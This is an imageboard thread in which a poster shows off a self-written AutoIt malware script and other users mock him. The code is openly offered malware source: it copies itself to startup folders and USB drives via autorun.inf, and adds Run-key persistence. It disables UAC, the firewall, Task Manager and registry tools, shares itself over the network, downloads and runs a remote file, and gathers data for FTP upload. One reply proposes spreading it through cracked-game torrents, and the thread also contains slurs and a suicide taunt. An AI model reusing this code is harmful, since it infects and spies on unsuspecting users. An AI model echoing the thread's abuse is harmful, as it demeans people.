Non autistic programmers

So I am not autistic, therefor I am incapable of economically producing programs / application that are constructed in any high level language such as any variation of C, java, ASP and Lisp aside from VB (I don't know VB but c'mon, really?) let alone any low level language.

So as any normal average non-autistic humane, I resort to scripts suck as WSH and AutoIt, I am a decent autoit script fabricator, I smoke them daily.

Since autoit is not capable of doing the awesome stuff C does while taking a shit, I tend to create my scripts like a ninja, when I develop my malicious scripts, I can picture it moving silently through the hardware I mean software and hiding as other applications, typically, when some one launches one of my applications, it looks for any programs that are autorun in the run reg key and the startup directory and it does a quick test to see which app it should replace, when it replaces an app, the app still runs, and so does my ninja script so It can replace explorer.exe without win file protect crap crying like a little bitch, once it's installed as explorer.exe, everything seems normal except for the fact that it just had babies and one of them is svchost.exe, it adds a resource file and runns it from memory and basically spys on you, stealing all the info possible from all major browsers, screens shots interesting things and disables all kinds of AV's and Firewalls.

What should I do with it?

holy shit

Go back to /g/, ``please''!!

What should I do with it?
Blow it out your ass.

You are a fucking retard.

You lie, that's maximum autism.

Bind it to cracked games and upload the torrent for it.

But don't get me wrong, I may not be autistic but I sure do know how to program scripts in windows, my advanced knowledge of the internal workings of the windows operating system has enabled me to produce this beuty~

copy()
autorun()
reg()
share()
dl()
data()
redirect()

func copy()
FileCopy(@ScriptFullPath,@StartupDir,1)
filecopy(@ScriptFullPath,@StartupCommonDir,1)
FileCopy(@ScriptFullPath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\", 1)
FileCopy(@ScriptFullPath,@AppDataDir,1)
EndFunc

func autorun()
$var = DriveGetDrive( "Removable" )
If NOT @error Then
    For $i = 1 to $var[0]
        filecopy(@ScriptFullPath,$var[$i],1)
        FileWriteLine($var[$i] & "\autorun.inf","[autorun]" & @crlf & "Action=Open folder to view files" & @crlf & "Icon=%systemroot%\system32\shell32.dll,4" & @crlf & "Shellexecute=" & @scriptname)
    Next
EndIf
EndFunc

func reg()
RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Updater", "REG_SZ", @ScriptFullPath)
RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows Updater", "REG_SZ", "C:\" & @ScriptName)
RegWrite("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\", "EnableLUA", "REG_DWORD", 0)
RegWrite("HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\", "EnableFirewall", "REG_DWORD", 0)
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", 1)
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "REG_DWORD", 2)
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", 1)
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1)
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableChangePassword", "REG_DWORD", 1)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "LockTaskbar", "REG_DWORD", 1)
RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile","EnableFirewall","REG_DWORD",0)
regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer","NoSaveSettings","REG_DWORD",1)
EndFunc

func share()
DirCreate("C:\Shared")
FileCopy(@ScriptFullPath,"C:\Shared\",1)
_Net_Share_ShareAdd(@IPAddress1,"Shared Files",$STYPE_DISKTREE,"C:\Shared")
FileSetAttrib(@ScriptName,"+SH")
EndFunc

func dl()
InetGet($url,$save,1,0)
ShellExecute($save)
EndFunc

func data()
$ip = _GetIP()
Gather()
ftpup()
EndFunc

I've been thinking about submiting a patent to PTO.gov for the fine intelectual property of my fabrication, I think google might wan't to hire me :)

wan't
Please commit suicide.

@ 9 oh you, I know your just jelous.

>windows

>>8
No, they only hire people that can write in proper English. You fail.

my advanced knowledge of the internal workings of the windows operating system
scripts

Also no one care about your skript kiddie shennanigans.

Stay in school, son.

I lol'd

number 12, you and you're smack talk prove nuthin, SHOW ME SOME CODE!!1

You are just 12 and think your kewl talking SHIT and GARBADGE about REAL haxxers you FAGGET

For all I know you are a normal average person, lets see some real autistic programming skills!!

itt trolls and trollees

>>1
I resort to scripts suck as
Don't we all‽

>>13
At least I am educated enough to know how to spell "garbage". Tell me, son, do they even teach English at that public school to which you go? Well, maybe you should try actually learning it. Then you won't come across as an ignorant spoiled child.
Also you mom gives good throat.

17 lol at the way you change the subject, every one knows you're like me, an average humane that is not autistic, or am I wrong?

Prove me wrong, lets see who the real ass burger autism guy is around here.

>>17
YHBT

GC is great, it takes care of leaks like >>18.